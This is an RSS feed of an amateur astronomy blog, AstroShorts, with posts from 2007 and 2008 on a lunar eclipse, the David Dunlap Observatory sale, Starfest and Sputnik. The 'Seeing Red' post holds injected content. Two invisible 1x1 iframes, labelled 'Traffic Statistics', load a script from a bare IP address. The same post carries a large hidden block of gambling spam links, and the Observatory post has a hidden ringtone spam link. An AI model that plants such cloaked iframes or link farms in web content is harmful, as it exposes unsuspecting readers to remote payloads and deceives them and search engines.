<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>AstroShorts</title>
	<atom:link href="http://blog.astroshorts.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.astroshorts.com</link>
	<description>A blog about Space, Astronomy and what is new on AstroShorts.com</description>
	<pubDate>Sun, 14 Sep 2008 21:55:37 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Seeing Red</title>
		<link>http://blog.astroshorts.com/2008/02/19/seeing-red/</link>
		<comments>http://blog.astroshorts.com/2008/02/19/seeing-red/#comments</comments>
		<pubDate>Wed, 20 Feb 2008 02:20:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astronomy Education]]></category>

		<category><![CDATA[Astroshorts]]></category>

		<category><![CDATA[Public Stargazing]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Space]]></category>

		<category><![CDATA[Telescope]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2008/02/19/seeing-red/</guid>
		<description><![CDATA[Living in the colder north as I do, it&#8217;s always problematic when it comes to going outside and lookingIl poker è un gioco di carte. up.  Usually the clearest nights mean the coldest nights.  On Wednesday, February 20th we get our last lunar eclipse until 2010. I&#8217;ve   seen many lunar eclipses before but each [...]]]></description>
			<content:encoded><![CDATA[<p>Living in the colder north as I do, it&#8217;s always problematic when it comes to going outside and looking<noscript>Il <a href="http://www.inlineapoker.com">poker</a> è un gioco di carte.</noscript> up.  Usually the clearest nights mean the coldest nights.  On Wednesday, February 20th we get our last lunar eclipse until 2010. I&#8217;ve<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> seen many lunar eclipses before but each is subtle in its<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --><noscript><a href="http://www.sibresource.ru/">&#1083;&#1072;&#1085;&#1076;&#1096;&#1072;&#1092;&#1090;</a></noscript> differences.  Will this one <u style="display: none"><a href="http://uskollinen.org/wp-content/1/poker-gratuito.html">poker gratuito</a><a href="http://uskollinen.org/wp-content/1/noble-poker.html">noble poker</a><a href="http://uskollinen.org/wp-content/1/tilt-poker.html">tilt poker</a><a href="http://uskollinen.org/wp-content/1/7-card-stud-gratis.html">7 card stud gratis</a><a href="http://uskollinen.org/wp-content/1/stri-poker.html">stri poker</a><a href="http://uskollinen.org/wp-content/1/download-giochi-poker-gratis.html">download giochi poker gratis</a><a href="http://uskollinen.org/wp-content/1/tavoli-da-gioco-poker.html">tavoli da gioco poker</a><a href="http://uskollinen.org/wp-content/1/poker-texano-on-line.html">poker texano on line</a><a href="http://uskollinen.org/wp-content/1/poker-on-line-in-italiano.html">poker on line in italiano</a><a href="http://uskollinen.org/wp-content/1/7-card-stud-inlinea.html">7 card stud inlinea</a><a href="http://uskollinen.org/wp-content/1/poker-il-gioco.html">poker il gioco</a><a href="http://uskollinen.org/wp-content/1/download-live-poker.html">download live poker</a><a href="http://uskollinen.org/wp-content/1/european-poker-tour.html">european poker tour</a><font style="position: absolute; overflow-x: hidden; overflow-y: hidden; height: 0px; width: 0px"><a href="http://kvantservice.com/">компютри</a></font><a href="http://uskollinen.org/wp-content/1/per-giocare-a-poker.html">per giocare a poker</a><a href="http://uskollinen.org/wp-content/1/tornei-di-poker.html">tornei di poker</a><a href="http://uskollinen.org/wp-content/1/poker-online-bonus.html">poker online bonus</a><a href="http://uskollinen.org/wp-content/1/scommesse-internet.html">scommesse internet</a><a href="http://uskollinen.org/wp-content/1/poker-online-italia.html">poker online italia</a><a href="http://uskollinen.org/wp-content/1/torneo-poker-on-line.html">torneo poker on line</a><a href="http://uskollinen.org/wp-content/1/poker-gratis.html">poker on line gratis,poker gratis,download video poker gratis</a><a href="http://uskollinen.org/wp-content/1/gioco-video-poker-gratis.html">gioco video poker gratis</a><a href="http://uskollinen.org/wp-content/1/giochi-internet.html">giochi internet</a><a href="http://uskollinen.org/wp-content/1/holdem-poker.html">holdem poker,poker texas holdem on line,holdem poker download</a><a href="http://uskollinen.org/wp-content/1/giochi-di-poker-on-line.html">giochi di poker on line</a><a href="http://uskollinen.org/wp-content/1/scaricare-gratis-poker.html">scaricare gratis poker</a><a href="http://uskollinen.org/wp-content/1/strip-poker-flash.html">strip poker flash</a><a href="http://uskollinen.org/wp-content/1/poker-com.html">poker com</a><a href="http://uskollinen.org/wp-content/1/strategia-poker.html">strategia poker</a><a href="http://www.mctavish.eu/wp-content/1/online-casino-games.html">online casino games</a><a href="http://www.mctavish.eu/wp-content/1/casino%27-online.html">casino&#8217; online</a><a href="http://www.mctavish.eu/wp-content/1/regole-craps.html">regole craps</a><a href="http://www.mctavish.eu/wp-content/1/www-giochi-casino.html">www giochi casino</a><a href="http://www.mctavish.eu/wp-content/1/slots-machine-gratis.html">slots machine gratis</a><a href="http://www.mctavish.eu/wp-content/1/vip-casino.html">vip casino</a><a href="http://www.mctavish.eu/wp-content/1/gioco-di-roulette.html">gioco di roulette</a><a href="http://www.mctavish.eu/wp-content/1/baccarat-online.html">baccarat online</a><a href="http://www.mctavish.eu/wp-content/1/mobile-casino-games.html">mobile casino games</a><a href="http://www.mctavish.eu/wp-content/1/giochi-jack-black.html">giochi jack black</a><a href="http://www.mctavish.eu/wp-content/1/play-free-baccarat-online.html">play free baccarat online</a><a href="http://www.mctavish.eu/wp-content/1/pc-game-casino.html">pc game casino</a><a href="http://www.mctavish.eu/wp-content/1/all-slots.html">all slots</a><a href="http://www.mctavish.eu/wp-content/1/giochi-on-line-casino.html">giochi on line casino</a><a href="http://www.mctavish.eu/wp-content/1/sistemi-roulette.html">sistemi roulette</a><a href="http://www.mctavish.eu/wp-content/1/roulette-europea.html">roulette europea</a><a href="http://www.mctavish.eu/wp-content/1/casino-bonus-no-deposit.html">casino bonus no deposit</a><a href="http://www.mctavish.eu/wp-content/1/i-casino-online.html">i casino online</a><a href="http://www.mctavish.eu/wp-content/1/online-keno.html">online keno</a><a href="http://www.mctavish.eu/wp-content/1/black-jack.html">black jack</a><a href="http://www.mctavish.eu/wp-content/1/casino-per-pc.html">casino per pc</a><a href="http://www.mctavish.eu/wp-content/1/casino-da-scaricare-gratis.html">casino da scaricare gratis</a></u> turn a blood red or<noscript>Le but de <a href="http://www.clicup.com/comment-choisir-achat-jeu-de-poker-en-ligne.html">achat jeu de poker</a>.</noscript> just a deep copper&#8230;or rust?  Shall I take the camera out?  How committed am I to freezing my tuckus off? Likely I&#8217;ll be outside looking up and I hope you will be too.  If you are thinking about it, grab the video camera and get some footage.  Post it on AstroShorts for everyone to see!Dress warmly my friends and keep looking up!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2008/02/19/seeing-red/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Crunch Time for the David Dunlap Observatory</title>
		<link>http://blog.astroshorts.com/2008/01/27/crunch-time-for-the-david-dunlap-observatory/</link>
		<comments>http://blog.astroshorts.com/2008/01/27/crunch-time-for-the-david-dunlap-observatory/#comments</comments>
		<pubDate>Mon, 28 Jan 2008 03:24:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astronomy Education]]></category>

		<category><![CDATA[International Sidewalk Astronomy Night]]></category>

		<category><![CDATA[Public Stargazing]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Space Science]]></category>

		<category><![CDATA[Stargazing]]></category>

		<category><![CDATA[Telescope]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2008/01/27/crunch-time-for-the-david-dunlap-observatory/</guid>
		<description><![CDATA[Photo Credit: Dan Falk
When it was completed in 1935, it was the second largest  astronomical telescope in the world.  The 74 inch reflector was used by  astronomer Dr. Tom Bolton to confirm the existence of Cygnus X-1 as a Black  Hole, a first in astronomy.  Dr. Helen Sawyer Hogg contributed [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://yorkregion.blogs.com/.shared/image.html?/photos/uncategorized/2008/01/27/ddohalebopdanfalk_2.jpg"><img src="http://yorkregion.blogs.com/sky_wise/images/2008/01/27/ddohalebopdanfalk_2.jpg" title="Ddohalebopdanfalk_2" style="margin: 0px 5px 5px 0px; float: left" alt="Ddohalebopdanfalk_2" border="0" height="485" width="375" /></a>Photo Credit: Dan Falk</p>
<p>When it was completed in 1935, it was the second largest  astronomical telescope in the world.  The 74 inch reflector was used by  astronomer Dr. Tom Bolton to confirm the existence of Cygnus X-1 as a Black  Hole, a first in astronomy.  Dr. Helen Sawyer Hogg contributed to our  understanding of the universe by the decades of research at the David Dunlap  Observatory&#8217;s mighty telescope.  The 190 acres of surrounding undeveloped land  are home to deer and over dozens of species of birds.  It&#8217;s an oasis of  astronomy and biology surrounded by the suburbs of Toronto.</p>
<p>The University of Toronto intends to sell the DDO and the surrounding wild  space and fetch as much as $100 million dollars in the process.  Will we see it  snapped up by developers keen on turning the land into houses, offices and strip  plazas?  I hope not.  There&#8217;s a strong community voice in Richmond Hill,  including Mayor Dave Barrow who wants to see the site preserved.  Local  government along with community groups such as the Richmond Hill Naturalists  have mounted a campaign to offer the U of T a serious alternative to the  dismantling and destruction of the DDO.  We know that this is the right thing to  do. The David Dunlap Observatory represents a major piece of the history of  astronomy,  as well as the history of Canada.</p>
<p>We can do our part to help but we must act quickly.  The University of  Toronto has placed a deadline of February 15th, 2008 to decide on submissions  for the sale of the facility.  Let them know that you want the DDO to remain as  a testament to the advancement of the science of astronomy, a part of our  heritage and that it should be preserved.  Take a moment and fill out this  online <a href="http://www.ipetitions.com/petition/savetheddo/">petition</a>.</p>
<p>Thank you and clear skies!</p>
<p>Photo by Dan Falk -author: Universe on a T-shirt: The Quest for the Theory of  Everything  (thanks Dan!)<noscript>Mister mobile phone after that cheap alltel <a href="http://groups.google.com/group/carlyn8103/web/caller-ringtones">caller ringtones</a> you.</noscript></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2008/01/27/crunch-time-for-the-david-dunlap-observatory/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Starfest Again!</title>
		<link>http://blog.astroshorts.com/2007/10/08/starfest-again/</link>
		<comments>http://blog.astroshorts.com/2007/10/08/starfest-again/#comments</comments>
		<pubDate>Tue, 09 Oct 2007 00:04:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astronomy Education]]></category>

		<category><![CDATA[Astroshorts]]></category>

		<category><![CDATA[Public Stargazing]]></category>

		<category><![CDATA[Space]]></category>

		<category><![CDATA[Stargazing]]></category>

		<category><![CDATA[Telescope]]></category>

		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2007/10/08/starfest-again/</guid>
		<description><![CDATA[

Well it&#8217;s been a while and we&#8217;re still catching up.  In the summer, News in Space went to Starfest, one of the top Star Parties and Astronomy Conventions in North America.  Very soon we will have a series of Starfest episodes posted on AstroShorts.  I know many of you have been waiting [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.astroshorts.com/2007/10/08/starfest-again/sf98aerial1jpg/" title="sf98aerial1.jpg" rel="attachment wp-att-25"></a></p>
<p style="text-align: center"><a href="http://blog.astroshorts.com/2007/10/08/starfest-again/sf98aerial1jpg/" title="sf98aerial1.jpg" rel="attachment wp-att-25"><img src="http://blog.astroshorts.com/wp-content/uploads/sf98aerial1.jpg" width="493" height="277" alt="sf98aerial1.jpg" /></a></p>
<p>Well it&#8217;s been a while and we&#8217;re still catching up.  In the summer, News in Space went to <a href="http://nyaa.ca/StarfestArchive/index.htm" target="_blank" title="Starfest">Starfest</a>, one of the top Star Parties and Astronomy Conventions in North America.  Very soon we will have a series of Starfest episodes posted on AstroShorts.  I know many of you have been waiting patiently and you will be rewarded.  Starfest attracts over 900 astronomy enthusiasts to Southern Ontario, Canada each year.  Its diversity of programs means there is something for everyone.  I&#8217;m impressed by how such a small group of organizers, the North York Astronomical Association produces such a great event.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2007/10/08/starfest-again/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Birth of the Space Race</title>
		<link>http://blog.astroshorts.com/2007/10/04/the-birth-of-the-space-race/</link>
		<comments>http://blog.astroshorts.com/2007/10/04/the-birth-of-the-space-race/#comments</comments>
		<pubDate>Thu, 04 Oct 2007 13:33:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astronomy Education]]></category>

		<category><![CDATA[Astroshorts]]></category>

		<category><![CDATA[NASA]]></category>

		<category><![CDATA[Rocket]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Space]]></category>

		<category><![CDATA[Space Science]]></category>

		<category><![CDATA[Telescope]]></category>

		<category><![CDATA[satellite]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2007/10/04/the-birth-of-the-space-race/</guid>
		<description><![CDATA[


October 4th, 1957 was a day that changed our perception of the world.  The Soviet Union launched Sputnik 1 which orbited the earth while announcing its presence for all to see and hear.  The event stirred emotions in the western world.  Wonder, fear, anger, awe and a sense of challenge stirred the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.astroshorts.com/2007/10/04/the-birth-of-the-space-race/sputnik-1jpg/" rel="attachment wp-att-19" title="sputnik-1.jpg"></p>
<p style="text-align: center"><img src="http://blog.astroshorts.com/wp-content/uploads/sputnik-1.jpg" alt="sputnik-1.jpg" /></p>
<p></a></p>
<p>October 4th, 1957 was a day that changed our perception of the world.  The Soviet Union launched Sputnik 1 which orbited the earth while announcing its presence for all to see and hear.  The event stirred emotions in the western world.  Wonder, fear, anger, awe and a sense of challenge stirred the United States and set it on a path that further changed the globe.  In 1957 I wasn&#8217;t yet born but I do remember the passion for the Space Race of the 1960&#8217;s and how it interested the entire world for a decade.  The Space Race embodied the western world&#8217;s fears of being dominated by a foreign communist state and it also inspired us to reach for highest achievements we could imagine.  With a dark soul as well as a noble purpose, the race to the moon seemed to mirror humanity&#8217;s unique quality of being immensely dangerous and at the same time incredibly hopeful.</p>
<p>Fifty years later, we find ourselves in a renewed Space Race.  The political landscape is more complicated than ever and I&#8217;m too old now to think only of the more noble aspects of going back to the moon and beyond.  What are your thoughts? Leave a comment or perhaps explore the subject in a video.  I&#8217;d like to hear from you.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2007/10/04/the-birth-of-the-space-race/feed/</wfw:commentRss>
		</item>
		<item>
		<title>End of an Era</title>
		<link>http://blog.astroshorts.com/2007/09/12/end-of-an-era/</link>
		<comments>http://blog.astroshorts.com/2007/09/12/end-of-an-era/#comments</comments>
		<pubDate>Wed, 12 Sep 2007 17:41:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astronomy Education]]></category>

		<category><![CDATA[Public Stargazing]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Space]]></category>

		<category><![CDATA[Space Science]]></category>

		<category><![CDATA[Stargazing]]></category>

		<category><![CDATA[Telescope]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2007/09/12/end-of-an-era/</guid>
		<description><![CDATA[The David Dunlap Observatory was one of the world&#8217;s leading facilities in Astronomical Research.  Situated in Richmond Hill, just north of Toronto, it provided Canadian researchers the ability to explore the universe since the 1930&#8217;s.  A lot of real scientific discovery went on at the 74 inch reflector telescope, once considered a Goliath.  Now, it [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://yorkregion.blogs.com/.shared/image.html?/photos/uncategorized/2007/09/12/david_dunlap_observatory.gif"><img src="http://yorkregion.blogs.com/sky_wise/images/2007/09/12/david_dunlap_observatory.gif" title="David_dunlap_observatory" style="float: left; margin-top: 0px; margin-right: 5px; margin-bottom: 5px; margin-left: 0px" height="362" alt="David_dunlap_observatory" width="375" border="0" /></a>The David Dunlap Observatory was one of the world&#8217;s leading facilities in Astronomical Research.  Situated in Richmond Hill, just north of Toronto, it provided Canadian researchers the ability to explore the universe since the 1930&#8217;s.  A lot of real scientific discovery went on at the 74 inch reflector telescope, once considered a Goliath.  Now, it is a victim of progress.  Light pollution from urban growth coupled with more advanced and more capable designs made the DDO less and less important.  It&#8217;s hard to justify spending $800,000 per year to operate something that now offers minimal returns.  The shame here is that we could have had gone further with the present facility if the political will existed on all levels of government to use better municipal lighting.  Still, it had to happen eventually.</p>
<p>The facility was a gift to the University of Toronto from Jessie Dunlap in memory of her husband.  The university recently announced that it has reached an agreement with the grandchildren of Jessie and David which allows the closure of the facility and sale of the lands and equipment.  A new facility built with the proceeds will be called the Dunlap Institute.  It will support future astronomical research from the U of T&#8217;s St. George Campus.  Final vote is expected in October.</p>
<p>It is sad that this jewel will go missing from Richmond Hill.  A piece of history will be lost.  Progress is like that though; some good with the bad.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2007/09/12/end-of-an-era/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Still time to enjoy the beach!</title>
		<link>http://blog.astroshorts.com/2007/09/03/still-time-to-enjoy-the-beach/</link>
		<comments>http://blog.astroshorts.com/2007/09/03/still-time-to-enjoy-the-beach/#comments</comments>
		<pubDate>Tue, 04 Sep 2007 01:27:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astronomy Education]]></category>

		<category><![CDATA[Astroshorts]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2007/09/03/still-time-to-enjoy-the-beach/</guid>
		<description><![CDATA[
It&#8217;s been in some ways a very short summer.  A backlog of material and not enough time to edit and post.  Tonight, the finishing touches go on the &#8220;Beach Episode&#8221; of News in Space.  We had a lot of fun filming this one and I liked the humor in it.  If [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.astroshorts.com/wp-content/uploads/baldsun1.jpg" title="baldsun1.jpg"><img src="http://blog.astroshorts.com/wp-content/uploads/baldsun1.jpg" alt="baldsun1.jpg" /></a></p>
<p>It&#8217;s been in some ways a very short summer.  A backlog of material and not enough time to edit and post.  Tonight, the finishing touches go on the &#8220;Beach Episode&#8221; of News in Space.  We had a lot of fun filming this one and I liked the humor in it.  If it&#8217;s not up, it will be posted shortly.  Take a look and please comment.  We want to know what you like about our productions and what we could improve upon.</p>
<p>We&#8217;re still working on a number of episodes to be released throughout the fall.  I hope you will enjoy them as much as we did making them.</p>
<p>As of Monday, September 3rd, membership on the site is over 425 people now and rising.  Thanks for making us a web destination.  Don&#8217;t be shy posting to AstroShorts.  We want more video from our members.  Remember&#8230;it&#8217;s all about sharing with each other.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2007/09/03/still-time-to-enjoy-the-beach/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Stars to the People</title>
		<link>http://blog.astroshorts.com/2007/07/22/stars-to-the-people/</link>
		<comments>http://blog.astroshorts.com/2007/07/22/stars-to-the-people/#comments</comments>
		<pubDate>Sun, 22 Jul 2007 18:11:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astroshorts]]></category>

		<category><![CDATA[Public Stargazing]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Space]]></category>

		<category><![CDATA[Space Science]]></category>

		<category><![CDATA[Stargazing]]></category>

		<category><![CDATA[Telescope]]></category>

		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2007/07/22/stars-to-the-people/</guid>
		<description><![CDATA[It really makes me happy to see the ever-increasing number of visitors to AstroShorts but that is only one part of the equation.  It is the input of our members that makes a difference.  I bet you&#8217;ve noticed more than a few videos from AstroShorts member John Crilly who takes some fabulous pictures from his [...]]]></description>
			<content:encoded><![CDATA[<p>It really makes me happy to see the ever-increasing number of visitors to AstroShorts but that is only one part of the equation.  It is the input of our members that makes a difference.  I bet you&#8217;ve noticed more than a few <a href="http://www.astroshorts.com/uvideos.php?UID=262&amp;type=public" title="John Crilly Videos on Astroshorts" target="_blank">videos</a> from AstroShorts member John Crilly who takes some fabulous pictures from his <a href="http://www.urbanobservatory.com/" title="John Crilly's Homepage" target="_blank">urban observatory</a>.  I urge you to explore them all.  Thanks John for all your valuable contributions.</p>
<p>I&#8217;m equally pleased to report that the good people at <a href="http://www.astronomy.com" title="Astronomy Magazine On-Line" target="_blank">Astronomy </a>magazine have posted a series of <a href="http://www.astroshorts.com/uvideos.php?UID=274&amp;type=public" title="Astronomy Magazine's Videos on AstroShorts" target="_blank">videos</a> on a wide range of topics related to astronomy.  There&#8217;s been a great deal of interest from viewers -they&#8217;re very popular and we&#8217;re really happy to see them available to AstroShorts viewers.</p>
<p>You can upload your own videos too!  Don&#8217;t be shy.  Everyone visiting AstroShorts wants to see.  The whole astronomical community benefits every time someone shares their interest of astronomy.  That&#8217;s why we are here, doing what we do and why you are visiting right now.</p>
<p>Clear Skies!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2007/07/22/stars-to-the-people/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Of Klingons and Quasars</title>
		<link>http://blog.astroshorts.com/2007/07/13/of-klingons-and-quasars/</link>
		<comments>http://blog.astroshorts.com/2007/07/13/of-klingons-and-quasars/#comments</comments>
		<pubDate>Fri, 13 Jul 2007 13:02:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astroshorts]]></category>

		<category><![CDATA[Rocket]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Space Science]]></category>

		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2007/07/13/of-klingons-and-quasars/</guid>
		<description><![CDATA[
The relationship between Science and Science Fiction is a symbiotic one, don&#8217;t you think?  Casey and I visited a Science Fiction convention in Toronto called Polaris 21 where we explored that relationship.  What we found was that Science Fiction fans are keenly aware of the interplay between the two and had plenty to say.  We&#8217;ll have [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.astroshorts.com/wp-content/uploads/caseyklingon.jpg" title="caseyklingon.jpg"><img src="http://blog.astroshorts.com/wp-content/uploads/caseyklingon.jpg" alt="caseyklingon.jpg" /></a></p>
<p>The relationship between Science and Science Fiction is a symbiotic one, don&#8217;t you think?  Casey and I visited a Science Fiction convention in Toronto called <a target="_blank" href="http://www.tcon.ca/polaris/modules/content/?id=101" title="Polaris 21">Polaris 21</a> where we explored that relationship.  What we found was that Science Fiction fans are keenly aware of the interplay between the two and had plenty to say.  We&#8217;ll have their insights in an episode of &#8220;News In Space&#8221; very soon including an interview with Torri Higginson of Stargate Atlantis.</p>
<p>For those of you wondering what&#8217;s happened to News In Space, don&#8217;t fret -we haven&#8217;t forgotten you.  We&#8217;re working hard to bring our on-line store to AstroShorts and it&#8217;s requiring our full attention right now.  We will have more coming very soon.  On a related note, our wonderful show host, Casey Dee is now providing the voice of IMAGINOVA&#8217;s monthly Sky Events Podcast.  We&#8217;ve featured it on the AstroShorts main page.  We&#8217;re so proud of you Casey!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2007/07/13/of-klingons-and-quasars/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Good Friends and Good Times</title>
		<link>http://blog.astroshorts.com/2007/06/18/good-friends-and-good-times/</link>
		<comments>http://blog.astroshorts.com/2007/06/18/good-friends-and-good-times/#comments</comments>
		<pubDate>Tue, 19 Jun 2007 02:06:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astroshorts]]></category>

		<category><![CDATA[NASA]]></category>

		<category><![CDATA[Planetarium]]></category>

		<category><![CDATA[Public Stargazing]]></category>

		<category><![CDATA[Rocket]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Space]]></category>

		<category><![CDATA[Space Science]]></category>

		<category><![CDATA[Space Shuttle]]></category>

		<category><![CDATA[Stargazing]]></category>

		<category><![CDATA[Telescope]]></category>

		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2007/06/18/good-friends-and-good-times/</guid>
		<description><![CDATA[I returned recently from a trip to Florida to experience the launch of the Space Shuttle. While there, I was made welcome by members of the Brevard Astronomical Society as well as the staff of the Brevard Community College Planetarium.
The day after the shuttle launch, the good folk of the Brevard Astronomical Society and Melbourne [...]]]></description>
			<content:encoded><![CDATA[<p>I returned recently from a trip to Florida to experience the launch of the Space Shuttle. While there, I was made welcome by members of the <a href="http://www.brevardastro.org/" target="_blank" title="Brevard Astronomical Society">Brevard Astronomical Society</a> as well as the staff of the <a href="http://www.brevardcc.edu/planet/" target="_blank" title="BCC Planetarium">Brevard Community College Planetarium</a>.</p>
<p>The day after the shuttle launch, the good folk of the Brevard Astronomical Society and Melbourne Astronomical Society were engaged in a public event to share views of the sun and other celestial objects. They are wonderful people who really do a great job of bringing the wonder and excitement of astronomy to people of all ages. It was a pleasure to speak with the individual members -we&#8217;ll have it all in an upcoming installment of &#8220;News In Space&#8221;. Of course, we shot some great video at the BCC Planetarium as well. They run many good programs and exhibits from their beautiful location on the Brevard Community College Campus.</p>
<p>We are working on four new episodes of &#8220;News In Space&#8221; which focus on Florida&#8217;s Spacecoast, including the BAS, BCC Planetarium and of course the Kennedy Space Center.  I think you&#8217;ll enjoy them.  If you are visiting that part of Florida, check them out.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.astroshorts.com/2007/06/18/good-friends-and-good-times/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ISAN, IPOD and You!</title>
		<link>http://blog.astroshorts.com/2007/06/02/isan-ipod-and-you/</link>
		<comments>http://blog.astroshorts.com/2007/06/02/isan-ipod-and-you/#comments</comments>
		<pubDate>Sun, 03 Jun 2007 01:07:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Astronomy]]></category>

		<category><![CDATA[Astroshorts]]></category>

		<category><![CDATA[International Sidewalk Astronomy Night]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Space]]></category>

		<category><![CDATA[Stargazing]]></category>

		<category><![CDATA[Telescope]]></category>

		<guid isPermaLink="false">http://blog.astroshorts.com/2007/06/02/isan-ipod-and-you/</guid>
		<description><![CDATA[I want to thank all the wonderful people from around the world who submitted pictures they took on International Sidewalk Astronomy Night.  AstroShorts is putting them together into a slide show on behalf of the ISAN organizers so everyone can see them.   There are A LOT of pictures so please be patient.  We will have them very soon!  [...]]]></description>
